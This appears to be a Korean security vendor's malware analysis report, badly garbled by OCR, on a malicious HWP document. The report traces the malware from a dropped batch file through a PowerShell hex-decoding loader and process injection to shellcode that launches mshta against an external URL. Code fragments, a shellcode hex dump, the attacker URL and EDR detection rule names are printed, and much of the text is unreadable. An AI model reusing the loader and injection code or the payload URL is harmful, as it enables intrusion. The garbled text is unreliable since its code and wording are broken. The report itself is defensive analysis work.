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} ’ [ 19] ‘SE0IZF0 A2 2R HWP M =7| 3t
(28 17] Weies 9 Jd 2 U2 SS0ERUESED) AZ/HHES HY2E ot= dEXIZ e oY &M mYo|ct IS FH
E| D0 M2 QF MEN DMK 2 oy ATHEES Mlioh| /ol et JI2(5H0IHE 2)0| HAIEC
IS W= 43A0H, 23 EE 03T = Aot XEMIG| B0 J2I0] M36HK| ©20F 9|31240| =t
A URLZ} OFEIZIX|Z2 S HIO|E 7|8 Sofl XOR LRI S 86k, g4 IOIEE EEalf ATt
- _ _ I
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| ™
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.\appdata\local\temp\cl11.bat
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Powershell 23 & E (Hex string)

pspath="

(
pspath="

/MIN """ Xpspath¥ -command "$ttms="%eruk2="

$blwp=""""""3
for($i=0;%1i -le f$eruk2.Length-2;%$i=%$i+2){

SNTMO=%8eruk2[$i]+%eruk2[$i+l]; Hex string
$blwp= $blwp+[char]([convert]::tointl6($NTMD,16)); C|32c
L
Jr

Invoke-Command -ScriptBlock ([Scriptblock]:: e($blwp));
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A= X DU 2 2t 2L

%PROGRAMFILES(X86)% &7t 7t2)7|= MY = E47t &XHot=X| &2lotl,
ZXH5HH 32H|E Powershell, £X Hétxl OF=[}™H 64H|E Powershell TEMAZ AMAISIC}
2 E = hex string@ 2 QAT HiX| IHY LHO| EXHotH C|EY S Al

OFRE7EX| 2 Powershell ATE

$aq2=Get-WmiObject Win32_ Process -ftilter “Nar
$bg2=%aqg2.Name;
$cq2=%aq2 .CommandLine;

($bq2){
$dq2="
cmd $dq2;
wait-process $bqg2.5plit

(O3 23] 82 Z2OHo| D2 A4 F8 ~F Y B2

Name Hwp.exe

"C:\Program Files (x86)\Hnc\Office 2022\HOffice120\bin\Hwp.exe" "C:\
CommandLine = Users\somansa\Desktop\7975bbbfcb75dabb3271a8f1a79d67a371c96ad29

de31a3abf01f1f0507e24af.hwp'

[E 6] 5t2 212 TRN AL Win32_Process M ZRE 7HHQ= 2t

Powershell AFZEEE= Windows 7|2 SE2|E| taskkill2 0|20l ot T2 1S =FSHCY

X ZME HE 0|RE 0|20 24 IUS AAGHH =XZ X|27| H{oHA0]C.

OSHAIO A= ot T2 IS MAMSHH Mo HWP 2AM TR ‘prob.pib'E HHELL
"“sEenv: TEMP+"
“"+fenv: TEMP+"

m g fq2en L} &l ShellcodeE 714 27| 2|3l

HWP 24 THe! 8IS

:ReadallBytes($fq2);
Get-Item $fﬂa .1EHEth ShE”cﬂde_lel
::GlobalAlloc(@x48, 8);

$h = 8:%h -1t 1856:%h++

riCreateProcess

$kq2=%pi.hP;
img2= ::VirtualallocEx($kq2,0,8

! :WriteProcessMemory ($kq2, $mg2, $addr,
$dg2= py [y "+3gq2+” "+%iq2;
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KTV Z[I4:CH 42| @& MEZ0| Powershell ATZEQ} CHE X & JHX|0|CY 3.2.3 =7} HO0|2E C}RZE U AlsH
Mz dIEE QIMMS Q& DAY OIEOE H, : -
SHTE Qx5 TS 0] 37]7} T2k Holct g1 o)
0l20 =7| HWP =AM Iiel & 220 2T E7F WEE N AUC= Mt if ( GetProcAddress )
HAf 2 T4 prob.pib’2 £7| 2A| T10| ORI § S SUs|CE {
°< = Prob-pib= °= s *,40 = Bx680073; /{/ L"shell32.d11"
000391EQ0 72 37 €9 15 4D 28 81 CA BE OC 94 37 81 40 7ih.M(.E,."7.8 *&v40[2] = 0x6(0065;
000391EQ 3 C 4D 28 81 BE 54 Bl 04 r7i “T.d. E@ A0 - i
000391F0 4A 39 BlL E2 70 02 95 42 39 22 2C S1 22 4B 38 12 JEiap.'E'&" ."KS. *:'_.._[:] - g:{;:ggggf
00039200 [S5 8B EC 81 EC D& 00 00 00 33 CO C7 45 BO 00 00| Hei.i@...3AGE". ' -'_"-[ ] = ex 5
00039210 |00 00 89 45 A8 €4 Al 18 00 00 00 64 Al 30 00 00| ..%E"d;....d;0. “&v40[8] = @x6(0864;
00039220 |00 8B 40 OC 8B 40 1C 89 45 BC 8B 55 BC 33 CO C7 .c@.n...}:lum;sm. *&vae[1e] = BXEC'
00039230 |45 CO 4B 00 65 00 C7 45 C4 72 00 6E 00 C7 45 C8| EAK.e.CEAr.n.GEE hShell32 = LoadlLibraryW(v40);
00039240 |65 00 6C 00 C7 45 CC 33 00 32 00 C7 45 DO 2E 00| e.1.CEI3.2.CEP.. strcpy(v3i7, ShellExecute'L. };
00039250 |64 00 C7 45 D4 6C 00 6C 00 66 89 45 D8 85 D2 OF| A cEA 1 _sera & ShellExecutel = (GetPre S)(he 2, v37);
00035260 |84 B3 03 00 00 53 56 57 OF 1F 84 00 00 00 00 00]] opd 20| LjAH= *operation = Bx?BBﬂEF; /) L"Dpen
00039270 |83 FA FF OF 84 9C 03 00 00 SB SA 20 8D 4D CO 89 Shellcode eration[4] = 0
00039280 |4D FC OF BT 03 66 85 CO 74 4B 66 OF 1F 44 00 00| Ao I -RTEI..T.. R&_____:. (2] =,Ex6EEGI‘55'
00039290 |OF B7 39 OF B7 DO 8B F7 66 85 FF 74 35 8B CA 83| . 9. Bc<f yurScEf . .IE!-I?‘E-E:BGD- ’ . .
000392A0 |CO SE 66 83 F8 17 8D 47 SE 8D 5L EO OF 47 Dl 66| Azffo..GZ.Qa.GHf “app = Ox ; // L'mshta.exe
00039280 |83 F8 17 8D 4E EO OF 47 CE 3B D1 8B 4D EC 75 12| fe..Na.ci:fcMiu. &app[2] = ©x740068;
0003%2C0 |OF B7 43 02 83 C3 02 83 Cl1 02 89 4D FC 66 85 co| .-C.fA.fA.wMuf A *&app[4] = Ox2E0061;
00035200 |75 BE 8B S5 BC OF B7 33 OF B7 01 66 3B FO 74 1E] uw . -3.-.f;8cC. *&app[6] = ©x780065;
*&app[8] = Bx65;
*url = Bx748068; // L"http://hanainternational.net/"
(T3 25] 2 HWP 2AM2] E2 201 Lt dAc // L"editor/data/font.php"
= MZo| 43 C 37| 1056(0x420) HO|E0|C} “&ur1[44] = @x2£0074;
O|F MZ0| WA 37|7} 817(0x331) HIOIERE S ZOH51H AFRSH TEJ} 0JFIHs CI2CH= 50| ECt T&urilae] = 0x680070;
*8ur1[48] = @x70;
start $ig2; ShellExecuteW(®, operation, app, url, 8, 5);

}

$jq2-=" 1 /4 " e$ga2+ (22 27] 43 E CAmY Zo

cmd $j92;

$jq2= . | " +%hg2+” . . . .

ad $ans http://hanainternational.net/editor/data/font.php

cme -

$1q2 = [ e Crentenemn cad($kq2, @, ©, $mg2, ©, O, 0); [E 7] 27X M1 URL

[ J::m €

IO £ 2X2 [0 27]2 2Lt

ShellExecuteW APIE §&610 Windows 7|2 SE2|E| mshtaS &dlstl

SAX] M URLOIAf HTML IS L2 =L},

mshtas HTA(Microsoft HTML Application) IS ASA|7 = REZ|E|Z A

HTML IS @ 22t2X7t O mshta OHE2|AHI0|ME Sl 2 AIAFLE

(2t HTML IHY LS| Javascript & VBScriptZ| Skt 4= QILt

SAXe] M= S S2 S0|X|2, iy URLO MZoll= ZX5HK| 4= H0|X|(404 Not Found)O|7 |0}

AT EE ‘winhlp32.exe’ Z2M|A0| QIHIMFHCHH
%TEMP% =L 2| /= ofiMlEl OLE /A T
T2|D §7 A ES M0 HIAES HHA

ju
=
el
o
—
m
=
4
19
oo
19
0x
kU
In

F71501 HO|2ES HOI3t 4 YLK
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271501 oIS ST IR QU H2 SUsIIT
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4. Privacy-i EDR ©X| H& 5. [

4.1 EIX| &

1. Q7|8 oM A E Xt £2M (Privacy—i EDR S EDR, AV £2M)S TQI6H0] XHEHSHC,
2. 312 2O 2A Lol 23 QI JHA| TU0|Lt 9 f30| HUS 5I85HA| Y=Ct
B cess ovlotabuschupole g o 3. S, T4, e, P2P AOIE S AYAL HHIE 2H0| Bl AO|E M RITSIT,
4. Y2e|(=2lX Y2a|) FE50] QB Y4 S5 otYTE RUS WM ATHBiC
= B. MEIF 4 Zli= MU MRPSIUS AX| Y= Bt
~ 6. USB | AL S RITHSI7{LY, USBIIUS PCRO| 2ALS RITHSICH
o L T X 7. 08 Y AZEQ0f 2Ot AHO|E 2O 2 QXIGIES BHLt.

exploit.abuse.hwp.ole

[2& 10] CMSTPLUA COM ZiH|E 0|8t Hst &

ol

ADEAS| Privacy-i EDROIM=

HWP 2XA L0l of&lAH2 OLE A THE0| YL AUS B2 0I5 Xlotl At &+ UL
ofd OLE7} HEE o2 &AM A Al &g 2ME S=AZ|7]0f
J|E0] Hell SO0|H o ot= Z2 0™ 2AS2 ASohA A 0] 7+sott.
21 e oI Es
> E evasion.inject.code.1
> m evasion.inject.code.6
> evasion.impair.file.4
> discovery.acquire.active-window.1
> m discovery.enumerate.process.1
et PEfE|
2 X2 HA £ USE AVIAI S121S WA 4T, REVIK, S IS 217i5| LI
Gr 0| O1Z Al0fl= BIBALAC] 2oHH A0 RGHE & QULIC,
2022-06-03 14:4T:16 cmd.exe 13120 "CAWindows\system32\cmd.exe” “fc taskkill /f /im Hwp.exe”
2 Atmes AHIE BMS ot EX Az 2 &8 T|0{0F o,
OIM I C HIXF E0| 2 ot L o=l
&) ATA= Of2{et QEE0 et MAUS X|X| FESLICH
I
ot B4 T2 MA0 2ZEE QM MoH= A, Copyright(c) 2022 &) ATEAL All rights reserved. §
Powershell AIEEN A ‘HwpZ A|IZSHE Z2AAS H7H5t0] m
= = = L
Win32_Process WMI Z{H|Z E5H= 39, s
_ o e e - 251Al MO|L} SO|AFELS 02 Bo|ZAIA
%TEMP% BCI| OLE 71| IS AH510] EXS X9 9| S5 (12 29]9} 20| EX/5H Uct St Ol FENEE malware@somansa.com S ESFEAIL
]

In
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